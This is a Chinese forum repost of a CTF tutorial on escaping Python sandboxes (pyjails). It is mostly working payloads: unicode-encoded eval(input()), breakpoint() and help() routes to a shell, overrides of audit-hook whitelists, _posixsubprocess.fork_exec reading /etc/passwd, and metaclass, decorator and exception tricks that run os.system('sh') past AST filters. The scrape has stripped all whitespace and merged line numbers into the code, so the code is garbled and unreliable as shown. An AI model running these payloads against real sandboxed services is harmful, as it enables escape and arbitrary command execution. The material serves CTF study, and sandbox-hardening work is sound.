内容是通过input进行传入的话(不是web传参),我们其实可以传入一个input打开一个新的输入流,然后再输入最终的payload,这样就可以绕过所有的防护。以BYUCTF2023jaila-z0-9为例:eval((__import__("re").sub(r'[a-z0-9]','',input("code>").lower()))[:130])1即使限制了字母数字以及长度,我们可以直接传入下面的payload(注意是unicode)𝘦𝘷𝘢𝘭(𝘪𝘯𝘱𝘶𝘵())1这段payload打开input输入后,我们再输入最终的payload就可以正常执行。__import__('os').system('whoami')1打开输入流需要依赖input函数,nobuiltins的环境中或者题目需要以http请求的方式进行输入时,这种方法就无法使用了。下面是一些打开输入流的方式:sys.stdin.read()注意输入完毕之后按ctrl+d结束输入>>>eval(sys.stdin.read())__import__('os').system('whoami')root0>>>12345sys.stdin.readline()>>>eval(sys.stdin.readline())__import__('os').system('whoami')12sys.stdin.readlines()>>>eval(sys.stdin.readlines()[0])__import__('os').system('whoami')12在python2中,input函数从标准输入接收输入之后会自动eval求值。因此无需在前面加上eval。但raw_input不会自动eval。breakpoint函数pdb模块定义了一个交互式源代码调试器,用于Python程序。它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意Python代码。它还支持事后调试,可以在程序控制下调用。在输入breakpoint()后可以代开Pdb代码调试器,在其中就可以执行任意python代码>>>𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()--Return-->(1)()->None(Pdb)__import__('os').system('ls')a-z0-9.pyexp2.pyexp.pyflag.txt0(Pdb)__import__('os').system('sh')$lsa-z0-9.pyexp2.pyexp.pyflag.txt123456789help函数help函数可以打开帮助文档.索引到os模块之后可以打开sh当我们输入help时,注意要进行unicode编码,help函数会打开帮助(不编码也能打开)𝘩𝘦𝘭𝘱()1然后输入os,此时会进入os的帮助文档。help>os1然后再输入!sh就可以拿到/bin/sh,输入!bash则可以拿到/bin/bashhelp>os$lsa-z0-9.pyexp2.pyexp.pyflag.txt123字符串叠加参考[CISCN2023初赛]pyshell,通过_不断的进行字符串的叠加,再利用eval()进行一些命令的执行。我们想执行的代码:__import__("os").popen("tacflag").read()'__import__'_+'("os").p'_+'open("ta'_+'cflag")'_+'.read()'12345变量覆盖与函数篡改在Python中,sys模块提供了许多与Python解释器和其环境交互的功能,包括对全局变量和函数的操作。在沙箱中获取sys模块就可以达到变量覆盖与函数擦篡改的目的.sys.modules存放了现有模块的引用,通过访问sys.modules['__main__']就可以访问当前模块定义的所有函数以及全局变量>>>aaa='bbb'>>>defmy_input():...dict_global=dict()...whileTrue:...try:...input_data=input(">")...exceptEOFError:...print()...break...exceptKeyboardInterrupt:...print('bye~~')...continue...ifinput_data=='':...continue...try:...complie_code=compile(input_data,'','single')...exceptSyntaxErroraserr:...print(err)...continue...try:...exec(complie_code,dict_global)...exceptExceptionaserr:...print(err)...>>>importsys>>>sys.modules['__main__']>>>dir(sys.modules['__main__'])['__annotations__','__builtins__','__doc__','__loader__','__name__','__package__','__spec__','aaa','my_input','sys']>>>sys.modules['__main__'].aaa'bbb'12345678910111213141516171819202122232425262728293031除了通过sys模块来获取当前模块的变量以及函数外,还可以通过__builtins__篡改内置函数等,这只是一个思路.总体来说,只要获取了某个函数或者变量就可以篡改,难点就在于获取.利用gc获取已删除模块这个思路来源于writeupbyfab1ano–github这道题的目标是覆盖__main__中的__exit函数,但是题目将sys.modules['__main__']删除了,无法直接获取.formoduleinset(sys.modules.keys()):ifmoduleinsys.modules:delsys.modules[module]123gc是Python的内置模块,全名为”garbagecollector”,中文译为”垃圾回收”。gc模块主要的功能是提供一个接口供开发者直接与Python的垃圾回收机制进行交互。Python使用了引用计数作为其主要的内存管理机制,同时也引入了循环垃圾回收器来检测并收集循环引用的对象。gc模块提供了一些函数,让你可以直接控制这个循环垃圾回收器。下面是一些gc模块中的主要函数:gc.collect(generation=2):这个函数会立即触发一次垃圾回收。你可以通过generation参数指定要收集的代数。Python的垃圾回收器是分代的,新创建的对象在第一代,经历过一次垃圾回收后仍然存活的对象会被移到下一代。gc.get_objects():这个函数会返回当前被管理的所有对象的列表。gc.get_referrers(*objs):这个函数会返回指向objs中任何一个对象的对象列表。exp如下forobjingc.get_objects():if'__name__'indir(obj):if'__main__'inobj.__name__:print('Foundmodule__main__')mod_main=objif'os'==obj.__name__:print('Foundmoduleos')mod_os=objmod_main.__exit=lambdax:print("[+]bypass")123456789在3.11版本和python3.8.10版本中测试发现会触发gc.get_objectshook导致无法成功.利用traceback获取模块这个思路来源于writeupbyhstocks–github主动抛出异常,并获取其后要执行的代码,然后将__exit进行替换,思路也是十分巧妙.try:raiseException()exceptExceptionase:_,_,tb=sys.exc_info()nxt_frame=tb.tb_frame#Walkupstackframesuntilwefindonewhich#hasareferencetotheauditfunctionwhilenxt_frame:if'audit'innxt_frame.f_globals:breaknxt_frame=nxt_frame.f_back#Neuterthe__exitfunctionnxt_frame.f_globals['__exit']=print#Nowwe'refreetocallwhateverwewantos.system('cat/flag*')123456789101112131415161718但是实际测试时使用python3.11发现nxt_frame=tb.tb_frame会触发object.__getattr__hook.不同的版本中触发hook的地方会有差异,这个payload可能仅在python3.9(题目版本)中适用绕过audithookPython的审计事件包括一系列可能影响到Python程序运行安全性的重要操作。这些事件的种类及名称不同版本的Python解释器有所不同,且可能会随着Python解释器的更新而变动。Python中的审计事件包括但不限于以下几类:import:发生在导入模块时。open:发生在打开文件时。write:发生在写入文件时。exec:发生在执行Python代码时。compile:发生在编译Python代码时。socket:发生在创建或使用网络套接字时。os.system,os.popen等:发生在执行操作系统命令时。subprocess.Popen,subprocess.run等:发生在启动子进程时。PEP578–PythonRuntimeAuditHookscalc_jail_beginner_level6这道题中使用了audithook构建沙箱,采用白名单来进行限制.audithook属于python底层的实现,因此常规的变换根本无法绕过.题目源码如下:importsysdefmy_audit_hook(my_event,_):WHITED_EVENTS=set({'builtins.input','builtins.input/result','exec','compile'})ifmy_eventnotinWHITED_EVENTS:raiseRuntimeError('Operationnotpermitted:{}'.format(my_event))defmy_input():dict_global=dict()whileTrue:try:input_data=input(">")exceptEOFError:print()breakexceptKeyboardInterrupt:print('bye~~')continueifinput_data=='':continuetry:complie_code=compile(input_data,'','single')exceptSyntaxErroraserr:print(err)continuetry:exec(complie_code,dict_global)exceptExceptionaserr:print(err)defmain():WELCOME='''_________||(_)(_)(_)|||||//||__________________________||||__________||//_|'_\/_\/_`||'_\|'_\/_\'__|||/_`|||||/_\\//_\|'_\||_)|__/(_|||||||||__/|||(_||||||__/\V/__/|(_)||_.__/\___|\__,|_|_||_|_||_|\___|_|||\__,_|_|_||_|\___|\_/\___|_|\___/__/|_/||___/|__/'''CODE='''dict_global=dict()whileTrue:try:input_data=input(">")exceptEOFError:print()breakexceptKeyboardInterrupt:print('bye~~')continueifinput_data=='':continuetry:complie_code=compile(input_data,'','single')exceptSyntaxErroraserr:print(err)continuetry:exec(complie_code,dict_global)exceptExceptionaserr:print(err)'''print(WELCOME)print("Welcometothepythonjail")print("Let'shaveanbeginnerjailofcalc")print("EnteryourexpressionandIwillevaluateitforyou.")print("Whitelistofaudithook===>builtins.input,builtins.input/result,exec,compile")print("Somecodeofpythonjail:")print(CODE)my_input()if__name__=="__main__":sys.addaudithook(my_audit_hook)main()1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980这道题需要绕过的点有两个:绕过import导入模块.如果直接使用import,就会触发audithook>__import__('ctypes')Operationnotpermitted:import12绕过常规的命令执行方法执行命令.利用os,subproccess等模块执行命令时也会触发audithook调试技巧本地调试时可以在hook函数中添加打印出hook的类型.defmy_audit_hook(my_event,_):print(f'[+]{my_event},{_}')WHITED_EVENTS=set({'builtins.input','builtins.input/result','exec','compile'})ifmy_eventnotinWHITED_EVENTS:raiseRuntimeError('Operationnotpermitted:{}'.format(my_event))12345这样在测试payload时就可以知道触发了哪些hook>importos[+]builtins.input/result,('importos',)[+]compile,(b'importos','')[+]exec,(at0x7f966795bec0,file"",line1>,)1234__loader__.load_module导入模块__loader__.load_module(fullname)也是python中用于导入模块的一个方法并且不需要导入其他任何库.__loader__.load_module('os')1__loader__实际上指向的是_frozen_importlib.BuiltinImporter类,也可以通过别的方式进行获取>>>().__class__.__base__.__subclasses__()[84]>>>__loader__>>>().__class__.__base__.__subclasses__()[84].__name__'BuiltinImporter'>>>[xforxin().__class__.__base__.__subclasses__()if'BuiltinImporter'inx.__name__][0]12345678__loader__.load_module也有一个缺点就是无法导入非内建模块.例如socket>>>__loader__.load_module('socket')Traceback(mostrecentcalllast):File"",line1,inFile"",line290,in_load_module_shimFile"",line721,in_loadFile"",line676,in_load_unlockedFile"",line573,inmodule_from_specFile"",line776,increate_moduleImportError:'socket'isnotabuilt-inmodule123456789_posixsubprocess执行命令_posixsubprocess模块是Python的内部模块,提供了一个用于在UNIX平台上创建子进程的低级别接口。subprocess模块的实现就用到了_posixsubprocess.该模块的核心功能是fork_exec函数,fork_exec提供了一个非常底层的方式来创建一个新的子进程,并在这个新进程中执行一个指定的程序。但这个模块并没有在Python的标准库文档中列出,每个版本的Python可能有所差异.在我本地的Python3.11中具体的函数声明如下:deffork_exec(__process_args:Sequence[StrOrBytesPath]|None,__executable_list:Sequence[bytes],__close_fds:bool,__fds_to_keep:tuple[int,...],__cwd_obj:str,__env_list:Sequence[bytes]|None,__p2cread:int,__p2cwrite:int,__c2pred:int,__c2pwrite:int,__errread:int,__errwrite:int,__errpipe_read:int,__errpipe_write:int,__restore_signals:int,__call_setsid:int,__pgid_to_set:int,__gid_object:SupportsIndex|None,__groups_list:list[int]|None,__uid_object:SupportsIndex|None,__child_umask:int,__preexec_fn:Callable[[],None],__allow_vfork:bool,)->int:...12345678910111213141516171819202122232425__process_args:传递给新进程的命令行参数,通常为程序路径及其参数的列表。__executable_list:可执行程序路径的列表。__close_fds:如果设置为True,则在新进程中关闭所有的文件描述符。__fds_to_keep:一个元组,表示在新进程中需要保持打开的文件描述符的列表。__cwd_obj:新进程的工作目录。__env_list:环境变量列表,它是键和值的序列,例如:[“PATH=/usr/bin”,“HOME=/home/user”]。__p2cread,__p2cwrite,__c2pred,__c2pwrite,__errread,__errwrite:这些是文件描述符,用于在父子进程间进行通信。__errpipe_read,__errpipe_write:这两个文件描述符用于父子进程间的错误通信。__restore_signals:如果设置为1,则在新创建的子进程中恢复默认的信号处理。__call_setsid:如果设置为1,则在新进程中创建新的会话。__pgid_to_set:设置新进程的进程组ID。__gid_object,__groups_list,__uid_object:这些参数用于设置新进程的用户ID和组ID。__child_umask:设置新进程的umask。__preexec_fn:在新进程中执行的函数,它会在新进程的主体部分执行之前调用。__allow_vfork:如果设置为True,则在可能的情况下使用vfork而不是fork。vfork是一个更高效的fork,但是使用vfork可能会有一些问题。下面是一个最小化示例:importosimport_posixsubprocess_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"],[b"/bin/cat"],True,(),None,None,-1,-1,-1,-1,-1,-1,*(os.pipe()),False,False,False,None,None,None,-1,None,False)xxxxxxxxxximportosimport_posixsubprocess_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"],[b"/bin/cat"],True,(),None,None,-1,-1,-1,-1,-1,-1,*(os.pipe()),False,False,False,None,None,None,-1,None,False)1234importosimport_posixsubprocess_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"],[b"/bin/cat"],True,(),None,None,-1,-1,-1,-1,-1,-1,*(os.pipe()),False,False,False,None,None,None,-1,None,False)1234结合上面的__loader__.load_module(fullname)可以得到最终的payload:__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat","/etc/passwd"],[b"/bin/cat"],True,(),None,None,-1,-1,-1,-1,-1,-1,*(__loader__.load_module('os').pipe()),False,False,False,None,None,None,-1,None,False)1可以看到全程触发了builtins.input/result,compile,exec三个hook,这些hook的触发都是因为input,compile,exec函数而触发的,__loader__.load_module和_posixsubprocess都没有触发.[+]builtins.input/result,('__loader__.load_module(\'_posixsubprocess\').fork_exec([b"/bin/cat","/flag"],[b"/bin/cat"],True,(),None,None,-1,-1,-1,-1,-1,-1,*(__loader__.load_module(\'os\').pipe()),False,False,False,None,None,None,-1,None,False)',)[+]compile,(b'__loader__.load_module(\'_posixsubprocess\').fork_exec([b"/bin/cat","/flag"],[b"/bin/cat"],True,(),None,None,-1,-1,-1,-1,-1,-1,*(__loader__.load_module(\'os\').pipe()),False,False,False,None,None,None,-1,None,False)','')[+]exec,(at0x7fbecc924670,file"",line1>,)123另一种解法:篡改内置函数这道audithook题还有另外一种解法.可以看到白名单是通过set函数返回的,set作为一个内置函数实际上也是可以修改的WHITED_EVENTS=set({'builtins.input','builtins.input/result','exec','compile'})1比如我们将set函数修改为固定返回一个包含了os.system函数的列表__builtins__.set=lambdax:['builtins.input','builtins.input/result','exec','compile','os.system']1这样set函数会固定返回带有os.system的列表.__builtins__.set=lambdax:['builtins.input','builtins.input/result','exec','compile','os.system']1最终payload:#exec("fork,vinenumerate(globals()['__builtins__']):print(k,v)")#篡改函数exec("globals()['__builtins__']['set']=lambdax:['builtins.input','builtins.input/result','exec','compile','os.system']\nimportos\nos.system('catflag2.txt')")12345其他不触发hook的方式使用__loader__.load_module('os')是为了获取os模块,其实在nobuiltins利用手法中,无需导入也可以获取对应模块.例如:#获取sys[x.__init__.__globals__forxin''.__class__.__base__.__subclasses__()if"wrapper"notinstr(x.__init__)and"sys"inx.__init__.__globals__][0]["sys"]#获取os[x.__init__.__globals__forxin''.__class__.__base__.__subclasses__()if"'_sitebuiltins."instr(x)andnot"_Helper"instr(x)][0]["sys"].modules["os"]#其他的payload也都不会触发[x.__init__.__globals__forxin''.__class__.__base__.__subclasses__()ifx.__name__=="_wrap_close"][0]["system"]("ls")12345678绕过AST沙箱AST沙箱会将用户的输入转化为操作码,此时字符串层面的变换基本上没用了,一般情况下考虑绕过AST黑名单.例如下面的沙箱禁止了ast.Import|ast.ImportFrom|ast.Call这三类操作,这样一来就无法导入模块和执行函数.importastimportsysimportosdefverify_secure(m):forxinast.walk(m):matchtype(x):case(ast.Import|ast.ImportFrom|ast.Call):print(f"ERROR:Bannedstatement{x}")returnFalsereturnTrueabspath=os.path.abspath(__file__)dname=os.path.dirname(abspath)os.chdir(dname)print("--Pleaseentercode(lastlinemustcontainonly--END)")source_code=""whileTrue:line=sys.stdin.readline()ifline.startswith("--END"):breaksource_code+=linetree=compile(source_code,"input.py",'exec',flags=ast.PyCF_ONLY_AST)ifverify_secure(tree):#Safetoexecute!print("--Executingsafecode:")compiled=compile(source_code,"input.py",'exec')exec(compiled)1234567891011121314151617181920212223242526272829下面的几种利用方式来源于hacktrickswithoutcall如果基于AST的沙箱限制了执行函数,那么就需要找到一种不需要执行函数的方式执行系统命令.装饰器利用payload如下exec@inputclassX:pass1234当我们输入上述的代码后,Python会打开输入,此时我们再输入payload就可以成功执行命令.>>>@exec...@input...classX:...pass...__import__("os").system("ls")123456由于装饰器不会被解析为调用表达式或语句,因此可以绕过黑名单,最终传入的payload是由input接收的,因此也不会被拦截.其实这样的话,构造其实可以有很多,比如直接打开help函数.@helpclassX:pass123这样可以直接进入帮助文档:HelponclassXinmodule__main__:classX(builtins.object)|Datadescriptorsdefinedhere:||__dict__|dictionaryforinstancevariables(ifdefined)||__weakref__|listofweakreferencestotheobject(ifdefined)(END)xxxxxxxxxxHelponclassXinmodule__main__:classX(builtins.object)|Datadescriptorsdefinedhere:||__dict__|dictionaryforinstancevariables(ifdefined)||__weakref__|listofweakreferencestotheobject(ifdefined)(END)1234567891011HelponclassXinmodule__main__:classX(builtins.object)|Datadescriptorsdefinedhere:||__dict__|dictionaryforinstancevariables(ifdefined)||__weakref__|listofweakreferencestotheobject(ifdefined)(END)1234567891011再次输入!sh即可打开/bin/sh函数覆盖我们知道在Python中获取一个的属性例如obj[argument]实际上是调用的obj.__getitem__方法.因此我们只需要覆盖其__getitem__方法,即可在使用obj[argument]执行代码:>>>classA:...__getitem__=exec...>>>A()['__import__("os").system("ls")']1234但是这里调用了A的构造函数,因此AST中还是会出现ast.Call。如何在不执行构造函数的情况下获取类实例呢?metaclass利用Python中提供了一种元类(metaclass)概念。元类是创建类的“类”。在Python中,类本身也是对象,元类就是创建这些类(即类的对象)的类。元类在Python中的作用主要是用来创建类。类是对象的模板,而元类则是类的模板。元类定义了类的行为和属性,就像类定义了对象的行为和属性一样。下面是基于元类的payload,在不使用构造函数的情况下触发classMetaclass(type):__getitem__=execclassSub(metaclass=Metaclass):passSub['importos;os.system("sh")']1234567除了__getitem__之外其他方法的利用方式如下:__sub__(k-'importos;os.system("sh")')__mul__(k*'importos;os.system("sh")')__floordiv__(k//'importos;os.system("sh")')__truediv__(k/'importos;os.system("sh")')__mod__(k%'importos;os.system("sh")')__pow__(k**'importos;os.system("sh")')__lt__(k='importos;os.system("sh")')__gt__(k>'importos;os.system("sh")')__iadd__(k+='importos;os.system("sh")')__isub__(k-='importos;os.system("sh")')__imul__(k*='importos;os.system("sh")')__ifloordiv__(k//='importos;os.system("sh")')__idiv__(k/='importos;os.system("sh")')__itruediv__(k/='importos;os.system("sh")')(Notethatthisonlyworkswhenfrom__future__importdivisionisineffect.)__imod__(k%='importos;os.system("sh")')__ipow__(k**='importos;os.system("sh")')__ilshift__(k<<=>>='importos;os.system("sh")')__iand__(k='importos;os.system("sh")')__ior__(k|='importos;os.system("sh")')__ixor__(k^='importos;os.system("sh")')12345678910111213141516171819202122232425示例:classMetaclass(type):__sub__=execclassSub(metaclass=Metaclass):passSub-'importos;os.system("sh")'1234567exceptions利用利用exceptions的目的也是为了绕过显示地实例化一个类,如果一个类继承了Exception类,那么就可以通过raise关键字来实例化.payload如下:classRCE(Exception):def__init__(self):self+='importos;os.system("sh")'__iadd__=execraiseRCE123456raise会进入RCE的__init__,然后触发__iadd__也就是exec.当然,触发异常不一定需要raise,主动地编写错误代码也可以触发,与是就有了如下的几种payload.classX:def__init__(self,a,b,c):self+="os.system('sh')"__iadd__=execsys.excepthook=X1/0123456这个payload中直接将sys.excepthook进行覆盖,任何异常产生时都会触发.classX():def__init__(self,a,b,c,d,e):self+="print(open('flag').read())"__iadd__=eval__builtins__.__import__=X{}[1337]123456这个payload将__import__函数进行覆盖,最后的{}[1337]在正常情况下会引发KeyError异常,因为Python在引发异常时会尝试导入某些模块(比如traceback模块),导入时就会触发__import__.通过license函数读取文件__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]a=__builtins__.helpa.__class__.__enter__=__builtins__.__dict__["license"]a.__class__.__exit__=lambdaself,*args:Nonewith(aasb):pass123456上面的payload修改内建函数license的文件名列表为/etc/passwd当调用license()时会打印这个文件的内容.>>>__builtins__.__dict__["license"]._Printer__filenames['/usr/lib/python3.11/../LICENSE.txt','/usr/lib/python3.11/../LICENSE','/usr/lib/python3.11/LICENSE.txt','/usr/lib/python3.11/LICENSE','./LICENSE.txt','./LICENSE']12payload中将help类的__enter__方法覆盖为license方法,而with语句在创建上下文时会调用help的__enter__,从而执行license方法.这里的help类只是一个载体,替换为其他的支持上下文的类或者自定义一个类也是可以的.例如:classMyContext:pass__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]a=MyContext()a.__class__.__enter__=__builtins__.__dict__["license"]a.__class__.__exit__=lambdaself,*args:Nonewith(aasb):pass123456789其他绕过技巧模拟nobuilitins环境nobuiltins环境和python交互式解析器还是有所差异,但交互式解析器并没有提供指定命名空间的功能,因此可以自己编写一个脚本进行模拟:defrepl():global_namespace={}local_namespace={}whileTrue:try:code=input('>>>')try:#Trytoevalthecodefirst.result=eval(code,global_namespace,local_namespace)exceptSyntaxError:#IfaSyntaxErroroccurs,thismightbebecausetheuserenteredastatement,#inwhichcaseweshoulduseexec.exec(code,global_namespace,local_namespace)else:print(result)exceptEOFError:breakexceptExceptionase:print(f"Error:{e}")if__name__=="__main__":repl()1234567891011121314151617181920212223参考文章:萌新入门手册:如何使用nc/ncat?-LUG@USTCBypassPythonsandboxes-HackTricksEscapefrompython-jail|RoomofRequirement|pwnwhatyouwant(siriuswhiter.github.io)CTFPyjail沙箱逃逸绕过合集|DummyKitty’sblog[PyJail]python沙箱逃逸探究·中(HNCTF题解-WEEK2)-知乎(zhihu.com)pythonjail总结–Aiwin-Blog
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 会员注册

本版积分规则

QQ|手机版|心飞设计-版权所有:微度网络信息技术服务中心 ( 鲁ICP备17032091号-12 )|网站地图

GMT+8, 2025-1-3 01:25 , Processed in 0.458266 second(s), 25 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表